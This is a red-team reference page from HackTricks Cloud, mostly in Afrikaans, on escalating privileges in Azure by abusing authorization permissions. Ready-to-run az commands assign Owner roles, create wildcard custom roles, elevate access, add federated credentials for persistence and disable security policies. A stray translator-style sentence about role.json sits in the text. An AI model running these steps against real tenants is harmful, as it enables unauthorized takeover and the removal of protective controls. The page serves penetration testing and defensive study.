Az - Azure IAM Privesc (Authorization)
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
Azure IAM
Vir meer inligting, kyk:
Az - Entra ID (AzureAD) & Azure IAM
Permissies wat ’n principal toelaat om authorization self te change, is gewoonlik privesc primitives. Dit is veral gevaarlik wanneer dit op management group- of subscription-scopes toegeken word, omdat die permissies deur child resources geërf word.
Microsoft.Authorization/roleAssignments/write
Hierdie permission laat toe om role assignments oor ’n spesifieke scope te skep, wat ’n attacker toelaat om privileges te escalate deur homself of ’n ander controlled principal ’n meer privileged role toe te ken.
Tipiese flow:
# Login and confirm current context
az login
az account show
# Enumerate current assignments and find the custom role granting this action
az role assignment list --all --output table
az role definition list --name "<role-definition-name>"
As die gecompromitteerde principal hierdie action oor ’n scope het, kan dit direk ’n privileged role soos Owner, Contributor, Key Vault Secrets Officer, of enige ander built-in/custom role beskikbaar in daardie scope toeken:
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
Om die principal object ID van die teiken user/service principal/managed identity te ken, is genoeg om die nuwe rol toe te ken. Dit kan misbruik word vir self-privesc, lateral movement, of persistence deur die rol aan ’n ander beheerde principal toe te ken.
Microsoft.Authorization/roleDefinitions/write
Hierdie permission laat toe om custom role definitions te skep of te wysig. In die praktyk is dit gevaarlik omdat ’n attacker kan:
- ’n custom rol wysig wat reeds toegeken is aan die compromised principal, wat die nuwe permissions onmiddellik effektief maak.
- ’n nuwe oor-privileged custom rol skep en dit dan toeken, gewoonlik in kombinasie met
Microsoft.Authorization/roleAssignments/write.
Tipiese flow:
# Find the current assignments
az role assignment list --all --output table
# Review the role definition currently assigned to the compromised principal
az role definition list --name "<role-definition-name>"
Ek kan nie die lêer direk skep nie, maar ek kan die presiese inhoud vir role.json gee. Plak net die volgende in die lêer:
{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>"
}
Dan werk die role permissions by met die vorige definition deur te roep:
az role definition update --role-definition role.json
As die gewysigde role reeds toegeken is aan die attacker, kan dit ’n vinniger pad wees as om ’n nuwe role assignment te skep, omdat die permission inflation op die bestaande assignment toegepas word.
As die attacker slegs roleDefinitions/write het, kan hy dit steeds weaponize deur roles te wysig wat reeds aan compromised principals toegeken is.
Microsoft.Authorization/elevateAccess/action
This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It’s meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources.
Tip
I think the user need to be Global Administrator in Entrad ID for the elevate call to work.
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
Hierdie toestemming laat toe om Federated Identity Credentials (FICs) op user-assigned managed identities te skep/op te dateer. In die praktyk laat dit ’n aanvaller toe om ’n nuwe trust relationship by ’n eksterne identity provider te voeg en dan tokens as daardie managed identity te verkry.
Dit is ’n persistence / identity hijacking primitive: as die managed identity reeds toegang tot Azure resources het, hoef die aanvaller net ’n ooreenstemmende eksterne workload te skep (byvoorbeeld, ’n GitHub Actions workflow) en die eksterne token vir Azure tokens om te ruil.
Nuttige punte om te verifieer voordat jy dit misbruik:
- Watter managed identity gewysig kan word
- Watter scope/roles reeds aan daardie managed identity toegewys is
- Watter issuer, subject, en audience tydens token exchange aanvaar sal word
Jy kan die FIC skep met die toegewyde CLI command:
az identity federated-credential create \
--name "github-federated-identity" \
--identity-name testMI \
--resource-group bialystok-rg \
--issuer "https://token.actions.githubusercontent.com" \
--subject "repo:REPO/IAMTEST:ref:refs/heads/main" \
--audiences "api://AzureADTokenExchange"
Of met raw REST.
Voorbeeldopdrag om toegang tot ’n GitHub-repo aan ’n managed identity te gee:
# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
Sodra die FIC geskep is, kan die aanvaller vanaf die eksterne workload autentiseer en die managed identity permissions gebruik wat reeds in Azure toegestaan is. Vir meer inligting oor die misbruik van GitHub OIDC / workload identity, kyk:
Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
’n Aanvaller met die permission Microsoft.Authorization/policyAssignments/write of Microsoft.Authorization/policyAssignments/delete oor ’n management group, subscription, of resource group kan Azure policy assignments wysig of verwyder, en moontlik security restrictions deaktiveer wat spesifieke operations blokkeer.
Dit laat toegang toe tot resources of functionalities wat voorheen deur die policy beskerm was.
Delete a policy assignment:
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
Deaktiveer ’n policy assignment:
az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled
Verifieer die veranderinge:
# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
Microsoft.Authorization/policyDefinitions/write
’n Aanvaller met die toestemming Microsoft.Authorization/policyDefinitions/write kan Azure policy definitions wysig, en sodoende die reëls verander wat sekuriteitsbeperkings oor die omgewing beheer.
Byvoorbeeld, ’n policy wat die toegelate streke vir die skep van resources beperk, kan gewysig word om enige streek toe te laat, of die policy-effect kan verander word om dit ondoeltreffend te maak.
Modify a policy definition:
az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json
Verifieer die changes:
az policy definition list --output table
az policy definition show --name "<policyDefinitionName>"
Microsoft.Management/managementGroups/write
’n Aanvaller met die toestemming Microsoft.Management/managementGroups/write kan die hiërargiese struktuur van management groups wysig of nuwe management groups skep, wat moontlik beperkende policies wat op hoër vlakke toegepas is, kan omseil.
Byvoorbeeld, ’n aanvaller kan ’n nuwe management group skep sonder beperkende policies en dan subscriptions daarna skuif.
Skep ’n nuwe management group:
az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"
Verander ’n management group-hiërargie:
az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
Verifieer die veranderinge:
az account management-group list --output table
az account management-group show \
--name "<managementGroupId>" \
--expand
Microsoft.Management/managementGroups/subscriptions/write
’n Aanvaller met die toestemming Microsoft.Management/managementGroups/subscriptions/write kan subscriptions tussen management groups skuif, en moontlik beperkingsbeleide omseil deur ’n subscription na ’n group met minder beperkende of geen beleide te skuif.
Skuif ’n subscription na ’n ander management group:
az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"
Verifieer die veranderinge:
az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
Verwysings
- IAM the Captain Now – Hijacking Azure Identity Access
- Assign Azure roles using the REST API - Azure RBAC
- Azure custom roles
- Create trust between user-assigned managed identity and external identity provider
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

